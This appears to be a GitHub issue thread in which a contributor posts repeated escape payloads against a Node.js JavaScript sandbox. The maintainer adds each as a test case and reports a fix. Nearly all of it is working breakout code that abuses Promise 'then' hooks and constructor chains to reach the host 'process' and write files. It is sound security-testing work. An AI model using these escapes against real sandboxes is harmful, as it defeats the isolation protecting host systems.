Closed j4k0xb closed 6 months ago
Seems that key solution is found, I did a full cleanup and mark VER:rc3c
I start to grow old with this. When even slight variations of previously shared breakouts still work and need to be shared. In other words, there are still breakouts!
Not even speaking of all the prototype pollution issues still present.
OH? is the test.js not working now? I want to know which case so that I can do investigation? In my local testing all test case passed
I start to grow old with this. When even slight variations of previously shared breakouts still work and need to be shared.
In other words, there are still breakouts!
Not even speaking of all the prototype pollution issues still present.
It is a variation.
Look into then
and [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
do you mean this? or I miss undertand what you mean.
{then:[].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned_r25', ''))"]))}
or
{then: {get: Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_r25', ''))")}}
It is a variation. Look into
then
and[].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
Do you understand what [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]))
actually does? It results in a function but what can this function be used for?
Can you use this function somewhere that has to do with then
?
If you dont mind, show the full escape code, so that I can add to test.js, then start investigate and improve?
and BTW, the prototype pollution problems should be solved, as shown in code, by
Object.defineProperty(Object.prototype, '__proto__'....
Do you understand what
[].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]))
actually does? It results in a function but what can this function be used for? Can you use this function somewhere that has to do withthen
?
p = import('').constructor.prototype;
oldThen = p.constructor.prototype.then;
p.then = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["p.then = oldThen,import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
Promise.delay(1)
Thanks you for the patience.
It's because after previous test passed, I did removed two lines about Promise.prototype.contructor backup/restore.
r4b and r4c test case added and now fixed:
vm2>node test /case=r4b
commmand line: { case: 'r4b' }
-------------- test case r4b ---------------
r4x ex= {
message: 'EvilImport',
js: '\n' +
"p = import('').constructor.prototype;\n" +
'oldThen = p.constructor.prototype.then;\n' +
`p.then = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["p.then = oldThen,import('fs').then(m=>m.writeFileSync('pwned_r4b', ''))"]));\n` +
'Promise.delay(1)\n',
code: 'EVIL_IMPORT',
tag: 'Xb',
ex: TypeError [ERR_VM_DYNAMIC_IMPORT_CALLBACK_MISSING]: A dynamic import callback was not specified.
at importModuleDynamicallyCallback (node:internal/modules/esm/utils:231:9)
at eval (eval at <anonymous> (evalmachine.<anonymous>:1:155), <anonymous>:2:1)
at evalmachine.<anonymous>:1:155
at evalmachine.<anonymous>:1:487
at Script.runInContext (node:vm:148:12)
at jevalx_raw (D:\dev\vm2\jevalx.js:44:83)
at err.message (D:\dev\vm2\jevalx.js:89:22)
at new Promise (<anonymous>)
at jevalx_core (D:\dev\vm2\jevalx.js:75:11)
at Object.r4b (D:\dev\vm2\test.js:1077:49) {
code: 'ERR_VM_DYNAMIC_IMPORT_CALLBACK_MISSING'
},
time: 1713336634965,
id: 1713336634965
}
r4x check= object function [Function: Promise]
-------------- test pwn* after sleep ---------------
No files found matching the pattern./pwn*/
command line: { case: 'r4b' } VER: rc3d
p = import('').constructor.prototype; oldThen = p.constructor.prototype.then; p.then = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["p.then = oldThen,import('fs').then(m=>m.writeFileSync('pwned', ''))"])); Promise.delay(1)
import('').catch(e=>e.constructor.prototype.__defineSetter__('constructor', c=>c.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", "")));
ok now (both r28 and all)
vm2>node test /case=r28
commmand line: { case: 'r28' }
-------------- test case r28 ---------------
r28 ex= {
message: 'e.constructor.prototype.__defineSetter__ is not a function',
js: '\n' +
`import('').catch(e=>{e.constructor.prototype.__defineSetter__('constructor', c=>c.constructor('return process')().mainModule.require("fs").writeFileSync("pwned_r28", ""))});\n`,
code: undefined,
tag: 'Xc',
ex: TypeError: e.constructor.prototype.__defineSetter__ is not a function
at eval (eval at <anonymous> (evalmachine.<anonymous>:1:155), <anonymous>:2:46)
at process.processTicksAndRejections (node:internal/process/task_queues:95:5),
time: 1713424373984,
id: 1713424373984
}
r28 check= object function [Function: Promise]
-------------- test pwn* after sleep ---------------
No files found matching the pattern./pwn*/
command line: { case: 'r28' } VER: rc3d
import('').catch(e=>e.constructor.prototype.__defineSetter__('constructor', c=>c.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", "")));
hopefully all the known host objects blocked now?
const f = new FinalizationRegistry(_=>import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""));
f.register({});
(async function a(c) {
await Promise.resolve();
Array.from({ length: 50000 }, () => () => {});
if (c <= 5000) a(c+1);
})(0);
false
done r29. introduced WhteList to purify sandbox
const f = new FinalizationRegistry(_=>import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", "")); f.register({}); (async function a(c) { await Promise.resolve(); Array.from({ length: 50000 }, () => () => {}); if (c <= 5000) a(c+1); })(0); false
({then:1,__proto__:{then:async(r)=>{r();for(let i=0;i<9;i++)await Promise.resolve();import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}}})
done: added test case t1 of this, and improve findEvil() for it.
p.s. for performance of findEvil(), I think maybe a safeClone() worthy to prepare inside the sandbox before return, I'll try it in future versions.
({then:1,__proto__:{then:async(r)=>{r();for(let i=0;i<9;i++)await Promise.resolve();import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}}})
const obj = {};
function t(r) {
obj.then = undefined;
f();
r(obj);
try {
import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","");
} catch (e) {}
}
async function f() {
await Promise.resolve();
await Promise.resolve();
obj.then = t;
}
obj.then = t;
obj
done
const obj = {}; function t(r) { obj.then = undefined; f(); r(obj); try { import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""); } catch (e) {} } async function f() { await Promise.resolve(); await Promise.resolve(); obj.then = t; } obj.then = t; obj
throw {message: 'EvilXd', code: class{
static get name() {
(async()=>{
await Promise.resolve();
import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","");
})();
}
}}
nice one! I had thought about something like this but don't know how to make right one. thanks. Should be easily handle by json, will update soon
throw {message: 'EvilXd', code: class{ static get name() { (async()=>{ await Promise.resolve(); import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""); })(); } }}
done
throw {message: 'EvilXd', code: class{ static get name() { (async()=>{ await Promise.resolve(); import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""); })(); } }}
let c=2;
({__proto__:{get then(){return c-->0?1:r=>{
(async()=>{
throw {
get message() {
r();
(async()=>{
for(let i=0;i<4;i++) await Promise.resolve();
import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","");
})();
}
}
})();
}}}})
done
let c=2; ({__proto__:{get then(){return c-->0?1:r=>{ (async()=>{ throw { get message() { r(); (async()=>{ for(let i=0;i<4;i++) await Promise.resolve(); import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""); })(); } } })(); }}}})
const obj = {};
function t(r) {
obj.then = undefined;
f();
r(obj);
try {
import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","");
} catch (e) {}
}
async function f() {
await Promise.resolve();
await Promise.resolve();
obj.then = t;
}
f();
obj
done ( t5 )
const obj = {}; function t(r) { obj.then = undefined; f(); r(obj); try { import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""); } catch (e) {} } async function f() { await Promise.resolve(); await Promise.resolve(); obj.then = t; } f(); obj
const obj = {};
function t(r) {
obj.then = undefined;
f();
r(obj);
try {
import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","");
} catch (e) {}
}
async function f() {
await Promise.resolve();
await Promise.resolve();
await Promise.resolve();
obj.then = t;
}
f();
obj
done now. (added test case t6,t7,t8)
const obj = {}; function t(r) { obj.then = undefined; f(); r(obj); try { import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""); } catch (e) {} } async function f() { await Promise.resolve(); await Promise.resolve(); await Promise.resolve(); obj.then = t; } f(); obj
({__proto__: {
get then() {
Promise.resolve().then(_=>import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")).catch(_=>_);
return undefined;
}
}})
done;
({__proto__: { get then() { Promise.resolve().then(_=>import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")).catch(_=>_); return undefined; } }})
({constructor: {prototype: {
get then() {
Promise.resolve().then(_=>import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")).catch(_=>_);
return undefined;
}
}}})
done
({constructor: {prototype: { get then() { Promise.resolve().then(_=>import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")).catch(_=>_); return undefined; } }}})
const old=Promise.prototype.then;
Promise.prototype.then=function(r,e){return old.call(this,v=>{try{r(v)}catch(e){}},e)};
({
get then() {
(async()=>{
for(let i=0;i<10;i++)await Promise.resolve();
try{import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","");}catch(e){}
})();
return undefined;
}
})
done, t13.
const old=Promise.prototype.then; Promise.prototype.then=function(r,e){return old.call(this,v=>{try{r(v)}catch(e){}},e)}; ({ get then() { (async()=>{ for(let i=0;i<10;i++)await Promise.resolve(); try{import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","");}catch(e){} })(); return undefined; } })
o={};
w=f=>toString.call.bind(f.call,f,0);
d=f=>Promise.resolve().then(w(f));
t=r=>{
o.then=0;
r(o);
d(()=>d(()=>toString.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")));
};
d(()=>d(()=>{o.then=w(t)}));
o
done, t14
o={}; w=f=>toString.call.bind(f.call,f,0); d=f=>Promise.resolve().then(w(f)); t=r=>{ o.then=0; r(o); d(()=>d(()=>toString.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""))); }; d(()=>d(()=>{o.then=w(t)})); o
o=[];
w=f=>toString.call.bind(f.call,f,0);
d=f=>Promise.resolve().then(w(f));
t=r=>{
o.then=0;
r(o);
d(()=>d(()=>toString.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")));
};
d(()=>d(()=>{o.then=w(t)}));
o
ok t16
o=[]; w=f=>toString.call.bind(f.call,f,0); d=f=>Promise.resolve().then(w(f)); t=r=>{ o.then=0; r(o); d(()=>d(()=>toString.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""))); }; d(()=>d(()=>{o.then=w(t)})); o
f=()=>{try{toString.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){Promise.resolve().then(toString.call.bind(f.call,f,0))}}
done (case s1)
f=()=>{try{toString.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){Promise.resolve().then(toString.call.bind(f.call,f,0))}}
h=console.log;
f=()=>{try{h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){Promise.resolve().then(h.call.bind(f.call,f,0))}}
done (case s4)
h=console.log; f=()=>{try{h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){Promise.resolve().then(h.call.bind(f.call,f,0))}}
h=console.log;
f=()=>{try{h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){Promise.resolve().then(h.call.bind(f.call,f,0))}}
throw f();
done (s6)
h=console.log; f=()=>{try{h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){Promise.resolve().then(h.call.bind(f.call,f,0))}} throw f();
h=console.log;
t=Promise.prototype.then;
f=()=>{Promise.prototype.then=t;try{h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){Promise.resolve().then(h.call.bind(f.call,f,0))}}
done (s7)
h=console.log; t=Promise.prototype.then; f=()=>{Promise.prototype.then=t;try{h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){Promise.resolve().then(h.call.bind(f.call,f,0))}}
h=console.log;
f=()=>{try{h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){import('').catch(h.call.bind(f.call,f,0))}}
done (s9)
h=console.log; f=()=>{try{h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){import('').catch(h.call.bind(f.call,f,0))}}
h=console.log;
(async()=>{
while(!Promise.prototype.then) await Promise.resolve();
f=()=>{try{h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){Promise.resolve().then(h.call.bind(f.call,f,0))}}
f();
})();
1
done (s10)
h=console.log; (async()=>{ while(!Promise.prototype.then) await Promise.resolve(); f=()=>{try{h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){Promise.resolve().then(h.call.bind(f.call,f,0))}} f(); })(); 1
h=console.log;
(async()=>{
while(!(t=Promise.prototype.then)) await Promise.resolve();
f=()=>{try{h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){t.call(Promise.resolve(),h.call.bind(f.call,f,0))}}
f();
})();
1